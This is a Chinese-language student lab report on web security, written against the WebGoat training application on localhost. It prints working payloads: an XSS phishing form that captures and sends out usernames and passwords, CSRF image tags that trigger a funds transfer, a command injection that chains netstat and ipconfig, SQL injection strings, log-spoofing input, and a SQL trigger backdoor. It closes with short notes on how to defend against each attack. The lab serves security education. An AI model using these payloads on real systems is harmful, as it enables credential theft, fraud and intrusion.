码迷,mamicode.com
首页 > Web开发 > 详细

20155233 刘高乐 Exp9 Web安全基础

时间:2018-05-24 23:07:31      阅读:90      评论:0      收藏:0      [点我收藏+]

标签:red   cat   text   upd   each   用户id   验证   NPU   自己   

WbGoat

  • 输入java -jar webgoat-container-7.1-exec.jar

技术分享图片

  • 在浏览器输入localhost:8080/WebGoat,进入WebGoat开始实验

技术分享图片

Cross-Site Scripting(XSS)练习

1.Phishing with XSS (网路钓鱼)

  • 在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,完整的XSS攻击代码如下:

    </form>
    <script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
    <H2>This feature requires account login:</H2>
    <br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
    <br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
  • 在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单,如图所示:

技术分享图片

  • 输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:

技术分享图片

2.Stored XSS Attacks

  • 创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容,输入标题,然后在message中输入一串代码,比如:
    <script>alert("20155233 attack succeed!");</script>

技术分享图片

  • 提交后,再次点击刚刚创建的帖子,成功弹出窗口,说明攻击成功:

技术分享图片

3.Reflected XSS Attacks

  • 当我们输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示给我们看:

技术分享图片

  • 这时如果我们将带有攻击性的URL作为输入源,例如依旧输入<script>alert("20155233 attack succeed!");</script>,就会弹出对话框:

技术分享图片

  • 存储型XSS是持久化的,代码是存储在服务器中,比较典型的例子就是上面所用的留言板;

  • 反射型XSS攻击是非持久化的,应用的场景比如欺骗用户自己去点击链接才能触发XSS代码,也就是说它的代码是不存在服务器中的。

4.Cross Site Request Forgery(CSRF)

  • 写一个URL诱使其他用户点击,从而触发CSRF攻击,通过图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。

技术分享图片

  • 我们在message框中输入这样一串代码:<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">

技术分享图片

5.CSRF Prompt By-Pass

  • 内容和前者相似,只不过这次需要确认转账,首先编辑内容<img src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=500" width="1" height="1">

  • 在浏览器中输入URL:localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM

技术分享图片

  • 点击CONFIRM按钮,再在浏览器中输入URL:http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM,成功转走了5000元:

技术分享图片

Injection Flaws练习

6.Command Injection

  • 点击右上角小虫对源码进行修改,例如在BackDoors.help旁边加上"& netstat -an & ipconfig"

技术分享图片

技术分享图片

  • 之后在下拉菜单中能看到我们修改后的值:

技术分享图片

  • 选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况:

技术分享图片

7.Numeric SQL Injection

  • 通过注入SQL字符串的方式查看所有的天气数据,加上一个1=1这种永真式即可达到我们的目的,利用firebug,在任意一个值比如101旁边加上or 1=1

技术分享图片

  • 选中Columbia,点Go,可以看到所有天气数据:

技术分享图片

8.Log Spoofing

  • 我们输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为admin的用户在日志中显示“成功登录”,在User Name文本框中输入20155233%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符:

技术分享图片

  • 上图可显示我们攻击成功。

9.String SQL Injection

  • 构造SQL注入字符串,在文本框中输入‘ or 1=1 --

技术分享图片

  • 点击GO,可以查看到所以信息:

技术分享图片

10.LAB:SQL Injection(Stage 1:String SQL Injection)

  • 查看输入框最大长度并修改长度:

技术分享图片

技术分享图片

  • 以用户John登录,在密码栏中输入‘ or 1=1 --进行SQL注入:

技术分享图片

11.Database Backdoors

  • 先输一个101,得到了该用户的信息:

技术分享图片

  • 可以发现输入的语句没有验证,很容易进行SQL注入,输入注入语句:101; update employee set salary=100000,成功把该用户的工资涨到了100000:

技术分享图片

  • 接下来使用语句101;CREATE TRIGGER lglBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘ WHERE userid = NEW.userid创建一个后门,把表中所有的邮箱和用户ID都设为我的:

技术分享图片

基础问题回答

  • SQL注入攻击原理,如何防御?
    • 答:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。
    • 对于SQL注入攻击的防范:使用正则表达式过滤传入的参数,字符串过滤,jsp中调用该函数检查是否包函非法字符。
  • XSS攻击的原理,如何防御?

    • 答:XSS是代码注入的一种,它允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。

XSS的防御可以从以下两方面来进行: 一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤;检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。

  • CSRF攻击原理,如何防御?

    • 答:XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF是借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。

对于CSRF的防御也可以从以下几个方面入手:通过referer、token或者验证码来检测用户提交;尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作;避免全站通用的cookie,严格设置cookie的域。

实验体会

  • 本次实验让我体会到网络安全的重要性,以及web网站安全编程的迫切性,可想而知,如果有人去找你网站的漏洞,那么只有你有一个可攻击点,那么这可能毁了整个网站,造成巨大的损失。其次,本次实验练习了好多攻击方式这对知识的提高有很大的帮助,也明白了其具体的工作流程,增深了对知识点的掌握。

20155233 刘高乐 Exp9 Web安全基础

标签:red   cat   text   upd   each   用户id   验证   NPU   自己   

原文地址:https://www.cnblogs.com/l20155233/p/9084869.html

(0)
(0)
   
举报
评论 一句话评论(0
0条  
登录后才能评论!
© 2014 mamicode.com 版权所有 京ICP备13008772号-2
迷上了代码!